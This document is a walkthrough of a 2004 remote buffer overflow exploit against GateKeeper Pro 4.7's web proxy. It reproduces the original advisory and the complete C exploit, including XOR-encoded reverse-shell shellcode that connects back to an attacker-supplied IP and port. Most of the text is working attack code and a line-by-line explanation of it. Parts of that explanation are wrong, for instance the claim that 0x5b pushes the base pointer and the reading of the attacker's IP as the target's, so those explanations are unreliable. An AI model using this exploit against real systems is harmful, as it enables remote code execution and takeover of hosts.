Understanding the GateKeeper Pro 4.7 Buffer Overflow Exploit

What this paper is

This paper details a remote buffer overflow vulnerability in GateKeeper Pro version 4.7. The vulnerability allows an attacker to execute arbitrary code on a vulnerable server by sending a specially crafted HTTP GET request to the web proxy service. The exploit targets the web proxy functionality, which typically runs on port 3128.

Simple technical breakdown

The core of the vulnerability lies in how GateKeeper Pro 4.7 handles incoming HTTP GET requests. When a very long string is sent as part of the URL in a GET request, the software doesn't properly check the size of the input. This causes the data to overflow a fixed-size buffer allocated for handling the URL. This overflow can overwrite critical memory locations, including the return address on the stack. By carefully crafting the overflowing data, an attacker can redirect the program's execution flow to their own malicious code (shellcode) that is also sent as part of the request.

The exploit uses a technique where it sends a large amount of data (approximately 4100 bytes) in the URL. This data is designed to fill the buffer and then overwrite the return address. The exploit then places shellcode within this data and points the overwritten return address to the start of this shellcode, causing it to execute.

Complete code and payload walkthrough

The provided C code implements a remote exploit for GateKeeper Pro 4.7. Let's break down its components.

Header Files and Libraries:

• stdio.h, stdlib.h, windows.h, winsock.h: Standard C libraries for input/output, memory allocation, Windows API functions, and Windows Sockets API for network communication.
• #pragma comment (lib,"ws2_32"): Links the Winsock 2.0 library, essential for network operations on Windows.

Defines and Constants:

• PORT 3128: The default port for the GateKeeper Pro web proxy service.
• ADMIN_PORT 2000: The default port for the GateKeeper Pro administration service.
• VERSION "4.7.0": The specific version of GateKeeper Pro targeted by this exploit.
• RET_POS 4079: This is a crucial offset. It represents the position within the crafted packet where the return address will be placed. This offset is determined by the size of the buffer and the padding needed to reach the return address on the stack.
• SIZE 4105: The total size of the buffer that will be sent to the vulnerable service. This includes padding, shellcode, and the return address.
• RET_ADDR 0x03b1e121: This is the target return address. In a buffer overflow, this address is where the program will attempt to return to after a function finishes. The exploit overwrites this with an address that points to the shellcode, effectively hijacking control flow. This address is likely a jump instruction within the GateKeeper executable that leads to the shellcode.
• REQ "GET http://www.microsoft.com/": The initial part of the HTTP GET request.
• REQ2 "\r\nHost: www.microsoft.com\r\n\r\n": The remaining headers for the HTTP GET request.
• HOP 0xd4, POP 0xd7: These are placeholder opcodes used within the shellcode. They are intended to be replaced by the target IP address and port number during the exploit's preparation phase.

cnx(char *host, int port) function:

• Purpose: Establishes a TCP socket connection to a specified host and port.
• Inputs: host (target IP address or hostname), port (target port number).
• Behavior:
  • Creates a TCP socket.
  • Resolves the hostname to an IP address if a hostname is provided.
  • Connects to the target host and port.
  • Prints status messages indicating connection progress or errors.
• Output: Returns the socket file descriptor if the connection is successful, otherwise returns 0.

banner(void) function:

• Purpose: Displays an ASCII banner with exploit information.
• Inputs: None.
• Behavior: Prints the exploit title, author, and contact information to the console.
• Output: None.

syntax(char *prog) function:

• Purpose: Displays the correct usage syntax for the exploit and exits.
• Inputs: prog (the name of the executable program).
• Behavior: Prints the expected command-line arguments and terminates the program.
• Output: None.

main(int argc, char *argv[]) function:

• Purpose: The main execution logic of the exploit.
• Inputs: argc (argument count), argv (argument values). Expected arguments are: <host>, <your_ip>, <your_port>.
• Behavior:
  1. Initialization:
     • WSADATA wsaData;: Initializes the Winsock library.
     • int sock;: Socket descriptor.
     • char buffer[1024], useme[SIZE], *ptr;: Buffers for network communication and exploit payload.
     • unsigned long host, port;: Variables to store the target IP and port, which will be embedded in the shellcode.
     • unsigned int i;: Loop counter.
  2. Shellcode Definition:
     • char shellc0de[] = ...: This is the actual shellcode. It's a sequence of bytes designed to be executed on the target system.
       • "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\x33\x01\x80\x33\x95\x43\xe2\xfa": This segment appears to be a small "decoder" or "stub" for the main shellcode. It likely handles XOR decryption or unpacking of the subsequent shellcode. The \xeb bytes are short jumps, and \xe8 is a near call. The \x5b pushes the base pointer. The \x80\xc3\x10, \x33\xc9, \x66\xb9\x33\x01, \x80\x33\x95\x43\xe2\xfa are instructions that likely set up registers and prepare for the main payload.
       • The subsequent bytes are the main shellcode. This shellcode is XOR-encoded. The \x95\x95\x95 and similar sequences are likely placeholders for the XOR key or part of the decoding routine. The \x1e\x61\xc0\xc3\xf1\x34\xa5 and so on are the XORed bytes of the actual payload. The exploit later replaces HOP and POP sequences with the target IP and port.
  3. Argument Parsing and Validation:
     • Calls banner().
     • Checks if the correct number of command-line arguments (3) is provided. If not, calls syntax().
     • Parses the target IP address (argv[2]) and XORs it with 0x95959595. This is part of the shellcode's obfuscation/relocation mechanism.
     • Parses the target port number (argv[3]) and performs a series of bit shifts and XOR operations (htons, <<16, + 0x0002, ^ 0x95959595). This process likely encodes the port number in a way that the shellcode expects.
  4. Shellcode Preparation (IP/Port Embedding):
     • Iterates through the shellc0de byte array.
     • Looks for sequences of four HOP bytes (0xd4). When found, it replaces them with the processed target IP address.
     • Looks for sequences of four POP bytes (0xd7). When found, it replaces them with the processed target port number.
     • If the host or port variables are not zero after this loop, it means the placeholder sequences were not found, and the exploit reports an error.
  5. Winsock Initialization:
     • WSAStartup(0x0101, &wsaData): Initializes the Winsock DLL.
  6. Version Check (Optional):
     • Attempts to connect to the administration port (ADMIN_PORT, 2000) of the target.
     • Sends a dummy string "I'm a script kiddie\r\n".
     • Receives responses to check if the version string "GateKeeper@" is present.
     • If found, it checks if the version matches VERSION ("4.7.0"). If not, it reports an error. This step is a heuristic to ensure the target is the correct version, but it's not strictly necessary for the exploit to work if the version check fails.
  7. Exploit Execution:
     • Connects to the web proxy port (PORT, 3128) using the cnx function.
     • Payload Construction (useme buffer):
       • memset(useme, 0x90, SIZE);: Fills the useme buffer with NOP (No Operation) instructions (0x90). This is a common technique to create a "sled" that helps ensure execution reaches the shellcode, even if the exact jump target is slightly off.
       • memcpy(&useme[RET_POS-0x8ac], shellc0de, sizeof(shellc0de));: Copies the prepared shellcode into the useme buffer at an offset (RET_POS-0x8ac). This offset places the shellcode before the intended return address.
       • *(unsigned long*)&useme[RET_POS] = RET_ADDR;: Overwrites the memory at RET_POS with the RET_ADDR (0x03b1e121). This is the critical step that redirects execution flow.
       • memcpy(&useme[RET_POS+12],"\xe9\xed\xf6\xff\xff",5);: This section is a bit unusual. It copies a relative jump instruction (\xe9) followed by an offset. \xe9\xed\xf6\xff\xff is a jump instruction that likely aims to jump to a location relative to the current instruction pointer, potentially to a point after the initial shellcode stub or to a specific part of the shellcode. The offset -0x92c (calculated from the bytes \xed\xf6\xff\xff) is a negative offset, meaning it jumps backward. This might be to jump back into the shellcode or to a specific handler within it.
     • Sending the Exploit Packet:
       • send(sock, REQ, strlen(REQ), 0);: Sends the initial part of the HTTP GET request.
       • send(sock, useme, sizeof(useme), 0);: Sends the crafted buffer containing NOPs, shellcode, and the overwritten return address. This is the payload that triggers the overflow.
       • send(sock, REQ2, strlen(REQ2), 0);: Sends the remaining HTTP headers.
     • Prints "Done" messages for each stage.
     • closesocket(sock);: Closes the connection.
     • Returns 0 on success.

Shellcode Analysis (Conceptual):
The provided shellcode is XOR-encoded and likely contains a small stub to decode the main payload and then execute a reverse TCP shell. The HOP and POP placeholders are replaced with the target IP and port, indicating that the shellcode will attempt to connect back to the attacker's machine. The specific instructions within the shellcode are obfuscated by XOR, making a direct analysis of their exact function without decoding difficult. However, the typical goal of such shellcode is to establish a command and control channel.

Code Fragment/Block -> Practical Purpose Mapping:

| Code Fragment/Block

Original Exploit-DB Content (Verbatim)

/*================[CRPT - FrenchTeam] =================*
  [Coromputer Security Advisory] - [CRPTSA-01]
 *=================== [Summary] =====================*
  Software : GateKeeper Pro 4.7
  Platforms : win32
  Risk : High
  Impact : Buffer overflow
  Release Date : 2004-02-23

 *=================== [Description] ====================*
  there is a trivial buffer overflow in the web proxy (default port 3128).

 *==================== [Details] ======================*
  Sending GET http://host.com/AAAAAAAAAA...(~4100bytes) will cause an access
  violation. Other services not tested, but they can be vulnerable too. Exact
  version can be checked from the administration service (default port 2000).

 *==================== [Exploits] ======================*
 /****************************************************/
 /* [Crpt]    GateKeeper Pro 4.7 remote sploit by kralor    [Crpt]  */
 /****************************************************/
 /* bug discovered & coded by: kralor [from coromputer]            */
 /* tested on: win2k pro and winXP                                          */
 /* it uses a static offset to hijack execution to the shellcode..    */
 /* so it is 100% universal. Nothing more to say..                      */
 /****************************************************/
 /*informations: www coromputer net irc undernet #coromputer    */
 /****************************************************/

 #include <stdio.h>
 #include <stdlib.h>
 #include <windows.h>
 #include <winsock.h>

 #pragma comment (lib,"ws2_32")

 #define PORT 3128
 #define ADMIN_PORT 2000
 #define VERSION "4.7.0"
 #define RET_POS 4079
 #define SIZE 4105
 #define RET_ADDR 0x03b1e121
 #define REQ  "GET http://www.microsoft.com/"
 #define REQ2 "\r\nHost: www.microsoft.com\r\n\r\n"
 // sequence of 4 opcodes
 #define HOP 0xd4 // host opcode
 #define POP 0xd7 // port opcode

 int cnx(char *host, int port)
 {
        int sock;
        struct sockaddr_in yeah;
        struct hostent *she;

        sock=socket(AF_INET,SOCK_STREAM,0);
        if(!sock) {
                printf("error: unable to create socket\r\n");
                return 0;
                }
        yeah.sin_family=AF_INET;
        yeah.sin_addr.s_addr=inet_addr(host);
        yeah.sin_port=htons((u_short)port);

 if((she=gethostbyname(host))!=NULL) {
        memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length);
        } else {
        if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
                printf("error: cannot resolve host\r\n");
                return 0;
                }
        }
        printf("[+] Connecting to %-30s ...",host);
        if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
                printf("error: connection refused\r\n");
                return 0;
                }
        printf("Done\r\n");
        return sock;
 }


 void banner(void)
 {
        printf("\r\n\t  [Crpt] GateKeeper Pro 4.7 remote sploit by kralor [Crpt]\r\n");
        printf("\t\t www.coromputer.net && undernet #coromputer\r\n\r\n");
        return;
 }


 void syntax(char *prog)
 {
        printf("syntax: %s <host> <your_ip> <your_port>\r\n",prog);
        exit(0);
 }

 int main(int argc, char *argv[])
 {
        WSADATA wsaData;
        int sock;
        char buffer[1024],useme[SIZE],*ptr;
        unsigned long host,port;
        unsigned int i;
        char shellc0de[] =   /* sizeof(shellc0de+xorer) == 332 bytes */
        /* classic xorer */
        "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66"
        "\xb9\x33\x01\x80\x33\x95\x43\xe2\xfa"
        /* shellc0de */
        "\x1e\x61\xc0\xc3\xf1\x34\xa5"
        "\x95\x95\x95\x1e\xd5\x99\x1e\xe5\x89\x38\x1e\xfd\x9d\x7e\x95\x1e"
        "\x50\xcb\xc8\x1c\x93\x6a\xa3\xfd\x1b\xdb\x9b\x79\x7d\x38\x95\x95"
        "\x95\xfd\xa6\xa7\x95\x95\xfd\xe2\xe6\xa7\xca\xc1\x6a\x45\x1e\x6d"
        "\xc2\xfd\x4c\x9c\x60\x38\x7d\x06\x95\x95\x95\xa6\x5c\xc4\xc4\xc4"
        "\xc4\xd4\xc4\xd4\xc4\x6a\x45\x1c\xd3\xb1\xc2\xfd\x79\x6c\x3f\xf5"
        "\x7d\xec\x95\x95\x95\xfd\xd4\xd4\xd4\xd4\xfd\xd7\xd7\xd7\xd7\x1e"
        "\x59\xff\x85\xc4\x6a\xe3\xb1\x6a\x45\xfd\xf6\xf8\xf1\x95\x1c\xf3"
        "\xa5\x6a\xa3\xfd\xe7\x6b\x26\x83\x7d\xc4\x95\x95\x95\x1c\xd3\x8b"
        "\x16\x79\xc1\x18\xa9\xb1\xa6\x55\xa6\x5c\x16\x54\x80\x3e\x77\x68"
        "\x53\xd1\xb1\x85\xd1\x6b\xd1\xb1\xa8\x6b\xd1\xb1\xa9\x1e\xd3\xb1"
        "\x1c\xd1\xb1\xdd\x1c\xd1\xb1\xd9\x1c\xd1\xb1\xc5\x18\xd1\xb1\x85"
        "\xc1\xc5\xc4\xc4\xc4\xff\x94\xc4\xc4\x6a\xe3\xa5\xc4\x6a\xc3\x8b"
        "\x6a\xa3\xfd\x7a\x5b\x75\xf5\x7d\x97\x95\x95\x95\x6a\x45\xc6\xc0"
        "\xc3\xc2\x1e\xf9\xb1\x8d\x1e\xd0\xa9\x1e\xc1\x90\xed\x96\x40\x1e"
        "\xdf\x8d\x1e\xcf\xb5\x96\x48\x76\xa7\xdc\x1e\xa1\x1e\x96\x60\xa6"
        "\x6a\x69\xa6\x55\x39\xaf\x51\xe1\x92\x54\x5a\x98\x96\x6d\x7e\x67"
        "\xae\xe9\xb1\x81\xe0\x74\x1e\xcf\xb1\x96\x48\xf3\x1e\x99\xde\x1e"
        "\xcf\x89\x96\x48\x1e\x91\x1e\x96\x50\x7e\x97\xa6\x55\x1e\x40\xca"
        "\xcb\xc8\xce\x57\x91\x95";

        banner();

 if(argc!=4)
        syntax(argv[0]);
        host=inet_addr(argv[2])^0x95959595;
        port=atoi(argv[3]);
        if(port<=0||port>65535) {
                printf("error: <port> must be between 1 and 65535\r\n");
                return -1;
        }
        port=htons((unsigned short)port);
        port=port<<16;
        port+=0x0002;
        port=port^0x95959595;

 for(i=0;i<sizeof(shellc0de);i++) {
        if((unsigned char)shellc0de[i]==HOP&&(unsigned char)shellc0de[i+1]==HOP)
                if((unsigned char)shellc0de[i+2]==HOP&&(unsigned char)shellc0de[i+3]==HOP) {
                        memcpy(&shellc0de[i],&host,4);
                        host=0;
                        }
        if((unsigned char)shellc0de[i]==POP&&(unsigned char)shellc0de[i+1]==POP)
                if((unsigned char)shellc0de[i+2]==POP&&(unsigned char)shellc0de[i+3]==POP) {
                        memcpy(&shellc0de[i],&port,4);
                        port=0;
                        }
 }
 if(host||port) {
        printf("[i] error: unabled to find ip/port sequence in shellc0de\r\n");
        return -1;
        }

 if(WSAStartup(0x0101,&wsaData)!=0) {
        printf("[i] error: unable to load winsock\r\n");
        return -1;
        }
        printf("[-] Getting version through administration interface\r\n");
        sock=cnx(argv[1],ADMIN_PORT);
 if(!sock)
        printf("[i] warning: couldn't connect to admin int to get version, trying anyway\r\n");
 else {
        send(sock,"I'm a script kiddie\r\n",21,0);
        memset(buffer,0,sizeof(buffer));
        recv(sock,buffer,sizeof(buffer),0);
        memset(buffer,0,sizeof(buffer));
        recv(sock,buffer,sizeof(buffer),0);
        ptr=strstr(buffer,"GateKeeper@");
 if(!ptr)
        printf("[i] waring: version not found, trying anyway\r\n");
 else {
        ptr+=11;
        if(strncmp(ptr,VERSION,strlen(VERSION))) {
                printf("[i] error: wrong version\r\n");
                return -1;
        }
        printf("[i] %-44s ...OK\r\n","version");
        }
 }
        printf("[i] Starting to exploit\r\n");
        sock=cnx(argv[1],PORT);
 if(!sock)
        return -1;
        printf("[i] Preparing magic %-28s ...","packet");
        memset(useme,0x90,SIZE);
        memcpy(&useme[RET_POS-0x8ac],shellc0de,sizeof(shellc0de));
        *(unsigned long*)&useme[RET_POS] = RET_ADDR; // eip pointing to jmp ebx in exe memory
        memcpy(&useme[RET_POS+12],"\xe9\xed\xf6\xff\xff",5); // jmp $ - 0x92c
        printf("Done\r\n");
        printf("[i] Sending magic packet                         ...");
        send(sock,REQ,strlen(REQ),0);
        send(sock,useme,sizeof(useme),0);
        send(sock,REQ2,strlen(REQ2),0);
        printf("Done\r\n");
        closesocket(sock);
        return 0;
 }

 *================================= [Solutions] =================================*
  No solution, wait for Infopulse to read this advisory and release a patch.

 *================================= [Workaround] ================================*
  block undesired access to port 3128 (or uninstall the software and use a real
  proxy coded by real coders).

 *================================== [Credits] ==================================*
  Discovered and coded by Ivan Rodriguez Almuina <kralor@coromputer.net>

 *================================= [Disclaimer] ================================*
  The information within this paper may change without notice.
  Use of this information constitutes acceptance for use in an AS IS condition.
  There are NO warranties with to this information.
  In no event shall the author be liable for any damages whatsoever arising out
  of or in connection with the use or spread of this information.
  Any use of this information is at the user's own risk.

 *================================== [Feedback] =================================*
  Please send suggestions, updates, and comments to :
  irc : #coromputer on undernet
  url : http://www.coromputer.net
  mail : kralor@coromputer.net

\*============================\* www.coromputer.net */===========================*/

// milw0rm.com [2004-02-26]